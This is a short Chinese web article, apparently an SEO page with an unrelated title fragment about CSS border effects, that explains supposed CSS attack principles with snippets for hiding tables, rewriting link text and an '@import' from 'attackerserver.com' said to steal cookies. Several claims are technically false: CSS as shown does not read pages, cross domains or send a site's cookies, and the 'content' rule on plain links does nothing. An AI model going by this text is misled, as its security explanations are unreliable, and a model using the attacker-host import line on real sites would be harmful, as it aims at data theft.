css攻击原理 |css 边框凹凸效果

在CSS攻击中，攻击者主要利用CSS的三个特性。第一，CSS可以读取HTML页面上的内容。第二，CSS可以修改HTML页面上的内容。第三，CSS可以跨越不同的域名，从而获取其他网站的敏感信息。

例如，下面的CSS代码可以隐藏页面上的所有表格：
table { display: none; }

这个代码在正常情况下不会对页面造成任何影响，但是如果攻击者将这个代码注入到目标网站的样式表中，就可以导致网站上的所有表格都消失不见。

除了隐藏元素，CSS攻击还可以修改页面内容。例如，以下代码可以将所有链接的显示文本修改为“hacker”： a { content: ‘hacker’; }

以上代码在样式表中的表现形式为：a::before {
content: 'hacker';
}
a {
visibility: hidden;
}

这个修改看起来比较明显，但是如果攻击者将代码嵌入到正常链接的样式表中，就可以欺骗用户前往恶意网站。

最后，CSS攻击还可以跨越不同的域名获取敏感信息。例如，攻击者可以编写以下代码，从其他网站上获取cookie信息并发送给攻击者的服务器：

@import "http://attackerserver.com/css.css";

这条语句将导致浏览器加载攻击者提供的CSS文件，从而向攻击者的服务器发送用户的cookie信息。

总之，CSS攻击可能是非常危险的。网站管理员需要意识到这个威胁并且采取措施来防止恶意CSS攻击。例如，他们可以限制CSS文件的来源、扫描和过滤不安全的CSS代码和使用安全的HTTP头。